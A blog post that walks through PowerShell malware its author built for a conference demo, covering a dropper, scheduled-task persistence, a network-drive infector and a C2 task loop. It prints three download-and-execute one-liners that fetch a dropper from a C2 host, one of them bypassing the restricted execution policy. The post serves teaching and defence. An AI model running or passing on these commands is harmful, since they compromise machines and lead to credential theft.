PowerShell Malware
I was originally planning to publish this blog post in a few weeks’ time, once I had covered some more PowerShell basics however; things have forced me to proceed sooner.
Sophos on the Naked Security Blog posted an article on some ransomware written in PowerShell, which was then written about on LifeHacker; from there my inbox received numerous emails. I felt compelled at this point to write about my PowerShell Malware.
Back in December, I did a presentation at Infrastructure Saturday titled Malware, What! The aim of the presentation was to show IT Professionals how bad guys can get into their networks, and then some things that they can do once they get in. The situation was that of a former employee going rogue and wanting to cause major embarrassment to his former employer, boss, and teammates.
I used some very simple social engineering attacks for the attacker to get a foothold and install a very simple piece of malware. With the simple malware, the attacker obtains domain administrator credentials, gains administrative access to a domain controller and finally dumps the hashes in the Active Directory database then uses CloudCracker to crack those. I finished the session with some HID hacking.
The one important thing was that the simple malware used, written by myself, was entirely in PowerShell. Why did I use PowerShell? Firstly, I wanted to show IT Professionals, in a simple way, what the inner workings of a piece of malware might look like. If IT Professionals saw some simple code that went off to a remote C2 server, downloaded a set of instructions, and executed each one, then they might start to come up with some strategies to protect their organisations. Another reason to use PowerShell is that it honestly makes a great platform for a backdoor. Microsoft made PowerShell as a platform for Administrators to manage large fleets of computers, or in another view, for bot net/malicious users to manage large fleets of infected computers.
One other thing I want to cover before I start showing you more of the actual malware, I wanted to point out that in my demonstration, the scripts were all digitally signed, the cert performing the signing was trusted by all of the computers in the victims network. For safety, I used a certificate issued by a private CA I created (and like the rest of the C2 infrastructure have taken down), but in real life, it could easily have been a valid third part certificate. So much malware are digitally signed, and I wanted to continue this theme, besides, it allows us to bypass some of PowerShell’s built in security.
So how did my malware work? The malware has several parts, a dropper “Infect-WebPC.ps1”, the code which will go off and talk to the C2 infrastructure <>…
Let us look at the infection of a user’s computer. In my example organisation, everyone was running Windows 7, with UAC off and with users running as local admin, much like a large number of organisations. This is a popular configuration for software developers.
In my presentation, the attacker tricked users into running one of three commands:
1.
@powershell -NoProfile -ExecutionPolicy unrestricted -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"
2.
@powershell -noprofile -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"
3.
@powershell -noprofile -command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');$exp = '';get-content c:\programdata\infect-webpc.ps1 | foreach {$_.trim()} | where-object {!$_.startswith('#')} | foreach { if ($_.startswith('{')) { $exp=$exp+$_ } else { $exp = $exp + ';' + $_}};invoke-expression $exp"
The first will work against any user whose PowerShell execution policy is the set to the default. All we are doing is asking PowerShell to use the .Net frameworks WebClient object to download our PowerShell dropper script and then execute it. Notice here we specify the PowerShell’s session execution policy to unrestricted.
The second is actually simpler than the first, and will work whenever the execution policy set to “RemoteSigned” or “AllSigned”, other than that, it is the same as the first one.
The third is the kicker; this one BYPASSES the restricted mode execution policy setting. Normally no scripts would run, yet in this case, I can get my dropper to run. How?? Well, we start by downloading the dropper script as we previously did, but we do some other things instead of simply executing the script. This time we read the script, and then turn the nicely formatted script into a PowerShell “one-liner”, from there we use invoke-expression to run that one-liner. Now we are running our malicious code, bypassing that lovely security policy.
So far, things are simple; now let us look at the dropper's code:
Simply put, it will see if the system is already infected, or if my “don’t infect flag file” is present; if they are, then it does not do anything; otherwise, it runs the following steps:
- 1. Downloads the scripts needed: Infect-PC.ps1, Infect-Drives.ps1, invoke-candc.ps1
- 2. Downloads two windows task scheduler xml definition files: infectdrives.xml and invokecandc.xml
- 3. Imports the two scheduled tasks using schtasks.exe
- 4. Runs the two scheduled tasks using schtasks.exe
All very simple for a dropper script.
Now what are the two scheduled tasks? The first is infect-drives.ps1, this runs every 5 minutes and simply put, will drop an autorun.ini file and the infect-pc.ps1 script on every drive (remote or network share) that it gets its hands on to. It is a simple drive infector. I was going to show this off during my presentation, but ran out of time.
The other script, invoke-candc.ps1, and runs every 30 minutes, this script is more interesting than the others are, as it performs most of the workload. The code looks like:
The invoke-candc.ps1 script performs the following steps:
- 1. Creates a file containing the running process and installed services, it then uploads this to the C2 server
- 2. Downloads a list of tasks to be completed from the C2 server
- 3. Reads a file containing the id numbers of previously run tasks
- 4. From the task list from the C2 server, it filters out any tasks it has previously run, or any task that has a hostname listed which isn’t it
- 5. It will then executes the remaining tasks, and if it completes successfully, logs the task number to a file
Tasks can be anything, from a PowerShell expression, script or any windows executable. In the demo, I used a mixture including:
- Download and upload files
- Download PwdumpX and other password dump tools
- Run PowerShell Scripts
As you can see, it is all very simple.
I have the code up on GitHub, and the slides with my presentation notes are here. The C2 server is down, and will remain that way.